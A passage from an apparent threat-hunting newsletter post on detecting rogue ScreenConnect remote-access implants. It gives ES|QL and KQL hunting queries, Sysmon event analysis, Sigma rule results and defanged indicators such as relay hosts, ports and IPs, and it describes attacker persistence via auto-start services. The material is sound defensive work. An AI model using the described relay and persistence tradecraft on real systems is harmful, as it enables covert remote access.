data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/da67f5ec-fd67-4568-9c44-5a60e58c1b18_1623x200.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:179,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:75972,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/216124108?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda67f5ec-fd67-4568-9c44-5a60e58c1b18_1623x200.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!kNSC!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda67f5ec-fd67-4568-9c44-5a60e58c1b18_1623x200.png 424w, https://substackcdn.com/image/fetch/$s_!kNSC!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda67f5ec-fd67-4568-9c44-5a60e58c1b18_1623x200.png 848w, https://substackcdn.com/image/fetch/$s_!kNSC!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda67f5ec-fd67-4568-9c44-5a60e58c1b18_1623x200.png 1272w, https://substackcdn.com/image/fetch/$s_!kNSC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda67f5ec-fd67-4568-9c44-5a60e58c1b18_1623x200.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div></div></div></div><figcaption class="image-caption"><em>Two samples, two different attacker tenants, both recovered before either file executed. </em><code>westville</code><em> served the MSI, </em><code>screamingacresmi</code><em> the EXE.</em></figcaption></figure></div><p>Three origin fields sit on that row, and they are not equal:</p><ul><li><p><code>FileOriginUrl</code>: the attacker&#8217;s tenant, captured at write time. The anchor.</p></li><li><p><code>FileOriginReferrerUrl</code>: the page the user was standing on when the download fired, <code>hxxps://eventvenue[.]ink/</code> for sample 1 and <code>hxxps://parvellainsurance[.]com/</code> for sample 2. Take it with the first: one field gives you the tenant, the next gives you the lure that sent them there, and together they are the whole delivery chain from one file event.</p></li><li><p><code>FileOriginIP</code>: empty on every one of the 22 rows in my tenant with a populated <code>FileOriginUrl</code>. It looks like a free extra column and is not one.</p></li></ul><p>What this does <strong>not</strong> catch: an installer renamed to something innocuous and pulled from a self-hosted server, where neither the filename nor the URL says ScreenConnect. No origin predicate covers that. The bigger limit: the second implant never touched a browser, so it has no <code>FileOriginUrl</code> to find. <strong>The origin fields catch stage one and are structurally blind to stage two.</strong></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://newsletter.securityinbits.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://newsletter.securityinbits.com/subscribe?"><span>Subscribe now</span></a></p><h3>2. Match on vendor identity, never on trust status</h3><p>This is the counter-intuitive one, and it is the lesson of the whole case. The valid ConnectWise signature that defeats the signature-status filter is the exact field that catches the tool, if you read it the other way.</p><blockquote><p>Do not ask &#8220;is this untrusted.&#8221; Ask &#8220;is this a remote-management vendor&#8217;s binary running where one should not be.&#8221;</p></blockquote><p>That is what caught both samples on Elastic. Match on <code>process.code_signature.subject_name</code> being a known RMM vendor. Same attribute as the naive filter, opposite polarity.</p><pre><code><code>FROM logs-endpoint.events.process-*
| WHERE @timestamp &gt; NOW() - 30 days
| WHERE event.action : "start"
| WHERE STARTS_WITH(process.code_signature.subject_name, "ConnectWise")   
| STATS firstseen = MIN(@timestamp), events = COUNT(*), paths = TOP(process.executable, 5, "asc")
    BY host.name, process.name, process.code_signature.subject_name, process.code_signature.trusted</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!bL_7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F187735bb-90b7-4b15-a5eb-fba2a0a26170_1699x579.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!bL_7!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F187735bb-90b7-4b15-a5eb-fba2a0a26170_1699x579.png 424w, https://substackcdn.com/image/fetch/$s_!bL_7!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F187735bb-90b7-4b15-a5eb-fba2a0a26170_1699x579.png 848w, https://substackcdn.com/image/fetch/$s_!bL_7!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F187735bb-90b7-4b15-a5eb-fba2a0a26170_1699x579.png 1272w, https://substackcdn.com/image/fetch/$s_!bL_7!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F187735bb-90b7-4b15-a5eb-fba2a0a26170_1699x579.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!bL_7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F187735bb-90b7-4b15-a5eb-fba2a0a26170_1699x579.png" width="1456" height="496" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/187735bb-90b7-4b15-a5eb-fba2a0a26170_1699x579.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:496,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:270749,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/216124108?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F187735bb-90b7-4b15-a5eb-fba2a0a26170_1699x579.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!bL_7!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F187735bb-90b7-4b15-a5eb-fba2a0a26170_1699x579.png 424w, https://substackcdn.com/image/fetch/$s_!bL_7!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F187735bb-90b7-4b15-a5eb-fba2a0a26170_1699x579.png 848w, https://substackcdn.com/image/fetch/$s_!bL_7!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F187735bb-90b7-4b15-a5eb-fba2a0a26170_1699x579.png 1272w, https://substackcdn.com/image/fetch/$s_!bL_7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F187735bb-90b7-4b15-a5eb-fba2a0a26170_1699x579.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>One predicate, five binaries, and <code>trusted</code> reads <strong>true</strong> on every row. That column is the argument.</p><p>Treat <code>code_signature.trusted</code> as an enrichment field to display, never as the discriminator. And resist the urge to add PE-metadata fallbacks next to it - I tried, and <code>process.pe.company</code> is null on every process event this stack has ever written. A leg that cannot fire does not widen a rule, it just hides how narrow the rule is.</p><h3>3. The relay classifier, read off a sample you did not build</h3><p>You can read cloud-trial versus self-hosted straight off the client&#8217;s own launch parameters and network destination, without building the client yourself.</p><ul><li><p><strong>Cloud / trial:</strong> <code>h=instance-&lt;id&gt;-relay.screenconnect.com</code>, port <code>443</code>, a <code>*.screenconnect.com</code> DNS name, and a valid ConnectWise signature.</p></li><li><p><strong>Self-hosted / rogue:</strong> a bare IP or a foreign domain, typically on port <code>8041</code>.</p></li></ul><p>Sample 1 classified as cloud/trial from <code>h=instance-fmjh7r-relay[.]screenconnect[.]com:443</code>. Sample 2 dropped two implants. One cloud (<code>instance-n70ets-relay[.]screenconnect[.]com:443</code>, resolving to <code>51.79.41[.]235</code>) and one self-hosted (<code>wonderxp[.]top:8041</code>, resolving to <code>103.60.12[.]75</code>). The classifier read both correctly off a sample nobody in the lab constructed.</p><pre><code><code>// ScreenConnect relay callback: cloud (443, *.screenconnect.com) vs self-hosted (8041 or a foreign host)
let lookback = 30d;                                                       
DeviceNetworkEvents
| where Timestamp &gt; ago(lookback)
| where InitiatingProcessFileName =~ "ScreenConnect.ClientService.exe"
| where ActionType == "ConnectionSuccess"
| extend RelayModel = case(RemoteUrl matches regex @"(?i)instance-[a-z0-9]+-relay\.screenconnect\.com", "cloud/trial",
                           isnotempty(RemoteUrl) and RemoteUrl !endswith "screenconnect.com", "self-hosted",
                           RemotePort == 8041, "self-hosted",
                           "review")
| project Timestamp, DeviceName, InitiatingProcessCommandLine, RemoteUrl, RemoteIP, RemotePort, RelayModel</code></code></pre><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ztI8!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4e09618-f943-4e95-9d26-3621d6e7ef50_1754x259.png 424w, https://substackcdn.com/image/fetch/$s_!ztI8!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4e09618-f943-4e95-9d26-3621d6e7ef50_1754x259.png 848w, https://substackcdn.com/image/fetch/$s_!ztI8!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4e09618-f943-4e95-9d26-3621d6e7ef50_1754x259.png 1272w, https://substackcdn.com/image/fetch/$s_!ztI8!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4e09618-f943-4e95-9d26-3621d6e7ef50_1754x259.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!ztI8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4e09618-f943-4e95-9d26-3621d6e7ef50_1754x259.png" width="1456" height="215" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b4e09618-f943-4e95-9d26-3621d6e7ef50_1754x259.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:215,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:93952,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/216124108?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4e09618-f943-4e95-9d26-3621d6e7ef50_1754x259.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ztI8!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4e09618-f943-4e95-9d26-3621d6e7ef50_1754x259.png 424w, https://substackcdn.com/image/fetch/$s_!ztI8!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4e09618-f943-4e95-9d26-3621d6e7ef50_1754x259.png 848w, https://substackcdn.com/image/fetch/$s_!ztI8!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4e09618-f943-4e95-9d26-3621d6e7ef50_1754x259.png 1272w, https://substackcdn.com/image/fetch/$s_!ztI8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4e09618-f943-4e95-9d26-3621d6e7ef50_1754x259.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div></div></div></div><figcaption class="image-caption"><em>The </em><code>RelayModel</code><em> column is the whole classifier. Two </em><code>cloud/trial</code><em> on 443, one </em><code>self-hosted</code><em> on 8041, and the command line carrying the </em><code>h=</code><em> value that decided each one.</em></figcaption></figure></div><p><strong>This is the only query in this piece that tells the two implants apart.</strong> Everything else here tells you a ScreenConnect client is present. The relay value tells you whose. It is also the one place a shipping rule caught the stage that mattered: Elastic&#8217;s <strong>Newly Observed ScreenConnect Host Server</strong> fired <strong>high</strong> on <code>wonderxp[.]top</code>, the only alert on either stack that flagged the self-hosted implant. Nothing in sample 1 could ever have triggered it, because sample 1 never left the official cloud.</p><p>The client&#8217;s own status pane corroborates the read with no telemetry at all: it prints <code>relay://instance-&lt;id&gt;-relay.screenconnect.com:443/</code> on screen.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!fmct!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff9e25b23-34ac-4604-93ed-be71cf68457c_1506x1067.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!fmct!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff9e25b23-34ac-4604-93ed-be71cf68457c_1506x1067.png 424w, https://substackcdn.com/image/fetch/$s_!fmct!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff9e25b23-34ac-4604-93ed-be71cf68457c_1506x1067.png 848w, https://substackcdn.com/image/fetch/$s_!fmct!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff9e25b23-34ac-4604-93ed-be71cf68457c_1506x1067.png 1272w, https://substackcdn.com/image/fetch/$s_!fmct!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff9e25b23-34ac-4604-93ed-be71cf68457c_1506x1067.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!fmct!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff9e25b23-34ac-4604-93ed-be71cf68457c_1506x1067.png" width="1456" height="1032" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f9e25b23-34ac-4604-93ed-be71cf68457c_1506x1067.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1032,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:441975,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/216124108?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff9e25b23-34ac-4604-93ed-be71cf68457c_1506x1067.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!fmct!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff9e25b23-34ac-4604-93ed-be71cf68457c_1506x1067.png 424w, https://substackcdn.com/image/fetch/$s_!fmct!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff9e25b23-34ac-4604-93ed-be71cf68457c_1506x1067.png 848w, https://substackcdn.com/image/fetch/$s_!fmct!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff9e25b23-34ac-4604-93ed-be71cf68457c_1506x1067.png 1272w, https://substackcdn.com/image/fetch/$s_!fmct!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff9e25b23-34ac-4604-93ed-be71cf68457c_1506x1067.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>4. Anchor persistence on the launch string, not on a temp path</h3><p>The research pointed at <code>C:\Windows\SystemTemp\ScreenConnect\&lt;version&gt;\</code> as an install location. It is not one. The client installed under <code>C:\Program Files (x86)\ScreenConnect Client (&lt;thumbprint&gt;)\</code> and the service registered there, so do not scope an install detection to SystemTemp. Do not write it off either: it turned out to be one of the best signals in the case, for a different reason. Empty on sample 1, populated on sample 2, and the difference was not the sample but whether an operator pushed a file.</p><p>The durable anchor is the service install. Both samples wrote an EID 7045 service named <code>ScreenConnect Client (&lt;thumbprint&gt;)</code>, running as LocalSystem, auto-start. Sample 2 wrote <strong>two of them</strong>, nine minutes apart, and that count is the tell: ScreenConnect names each service after its instance thumbprint, so a second server means a second service sitting alongside the first. Remove the implant every alert fired on and the other one is still there, still set to auto-start. In Defender that lands in <code>DeviceEvents</code> as <code>ActionType == "ServiceInstalled"</code>, with the service name in <code>AdditionalFields</code>.</p><p><strong>If you have no EDR at all, Sysmon carries this on its own</strong>, and it is worth knowing exactly which events do the work. Two fire per implant, in this order:</p><ul><li><p><strong>Event ID 13, </strong><code>RegistryEvent (Value Set)</code><strong>.</strong> The service registration writes <code>HKLM\System\CurrentControlSet\Services\ScreenConnect Client (&lt;thumbprint&gt;)\ImagePath</code>, and that value carries the <strong>full launch string</strong>, relay and port included. One per implant, the same count-the-services tell from a different log.</p></li><li><p><strong>Event ID 22, </strong><code>DNSEvent</code><strong>.</strong> <code>ScreenConnect.ClientService.exe</code> resolving its relay: <code>instance-n70ets-relay[.]screenconnect[.]com</code>, then <code>wonderxp[.]top</code>.</p></li></ul><p>The ordering is the useful part. <strong>The registry write beats the DNS lookup by about half a second</strong> in both cases, 17:01:01.252 before 17:01:01.782 and 17:09:44.914 before 17:09:45.811. The relay host is in the registry before the client has resolved it, so you can read the C2 destination off a host that never got its packet out. The registry write is T1543.003, Create or Modify System Process: Windows Service, and both events are there on any box running Sysmon.</p><p>Read the role off the client process, not off the service event:</p><pre><code><code>// The e=Access&amp;y=Guest role and the h= relay host live on the client process cmdline
let lookback = 30d;                                              
DeviceProcessEvents
| where Timestamp &gt; ago(lookback)
| where FileName =~ "ScreenConnect.ClientService.exe"
| where ProcessCommandLine has "y=Guest"                         
| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName</code></code></pre><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!LsUs!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffeb2d7b5-6700-4c75-bab3-0c272dbe1b01_1529x244.png 424w, https://substackcdn.com/image/fetch/$s_!LsUs!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffeb2d7b5-6700-4c75-bab3-0c272dbe1b01_1529x244.png 848w, https://substackcdn.com/image/fetch/$s_!LsUs!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffeb2d7b5-6700-4c75-bab3-0c272dbe1b01_1529x244.png 1272w, https://substackcdn.com/image/fetch/$s_!LsUs!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffeb2d7b5-6700-4c75-bab3-0c272dbe1b01_1529x244.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!LsUs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffeb2d7b5-6700-4c75-bab3-0c272dbe1b01_1529x244.png" width="1456" height="232" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/feb2d7b5-6700-4c75-bab3-0c272dbe1b01_1529x244.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:232,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:98383,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/216124108?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffeb2d7b5-6700-4c75-bab3-0c272dbe1b01_1529x244.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!LsUs!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffeb2d7b5-6700-4c75-bab3-0c272dbe1b01_1529x244.png 424w, https://substackcdn.com/image/fetch/$s_!LsUs!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffeb2d7b5-6700-4c75-bab3-0c272dbe1b01_1529x244.png 848w, https://substackcdn.com/image/fetch/$s_!LsUs!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffeb2d7b5-6700-4c75-bab3-0c272dbe1b01_1529x244.png 1272w, https://substackcdn.com/image/fetch/$s_!LsUs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffeb2d7b5-6700-4c75-bab3-0c272dbe1b01_1529x244.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div></div></div></div><figcaption class="image-caption"><em>Every implant from both samples in one result, each with its relay and port in the clear, and every one of them parented by </em><code>services.exe</code><em> because they run as services.</em></figcaption></figure></div><p><code>Access</code> means an unattended-access role, which makes this persistence rather than a one-off support session, and it survives both install modes. One field carries both the persistence tell and the cloud-versus-self-hosted read, so read it in full rather than matching on it and discarding it.</p><h3>5. The community Sigma rules already cover a lot of this</h3><p>You do not have to write all of this yourself to get a first pass. I ran Hayabusa, a Sigma engine, over the collected event logs offline. Three SigmaHQ rules fired on the sample-2 telemetry, all medium:</p><ul><li><p><strong><a href="https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_screenconnect.yml">Remote Access Tool - ScreenConnect Execution</a></strong> (<code>57bff678</code>), on Sysmon 1. Catches the client running, and survives a rename because it keys on the binary&#8217;s own identity.</p></li><li><p><strong><a href="https://github.com/SigmaHQ/sigma/blob/master/rules-threat-hunting/windows/process_creation/proc_creation_win_remote_access_tools_screenconnect_child_proc.yml">Remote Access Tool - ScreenConnect Remote Command Execution - Hunting</a></strong> (<code>d1a401ab</code>), on Sysmon 1 and Security 4688. This is the child-process angle.</p></li><li><p><strong><a href="https://github.com/SigmaHQ/sigma/blob/master/rules/windows/dns_query/dns_query_win_remote_access_software_domains_non_browsers.yml">DNS Query To Remote Access Software Domain From Non-Browser App</a></strong> (<code>4d07b1f4</code>). The non-browser exclusion is the clever part: Edge resolving the lure host is ignored, the service resolving its relay is not.</p></li></ul><p>That is a real result against event logs you already collect, and it is portable: Sigma converts to whatever backend you run, so none of it is locked to the stack I happened to test on.</p><p>One caveat if you deploy it as-is. <strong>The Hunting rule matched roughly 210 helper-process hits</strong> on this one host. It is labelled a hunting rule and behaves like one: tune it before it goes anywhere near an alert queue.</p><p>The Backstage ancestry from the next section is not in the public ruleset yet. That is a rule worth writing, and I intend to contribute one.</p><h2>The two stages: what gets in versus what they keep</h2><p>Sample 2 is the one that changes how you hunt this tool.</p><p>The pattern itself is documented. Elastic&#8217;s SilentConnect write-up shows both branches, cloud and self-hosted, in one campaign, and Huntress describes <a 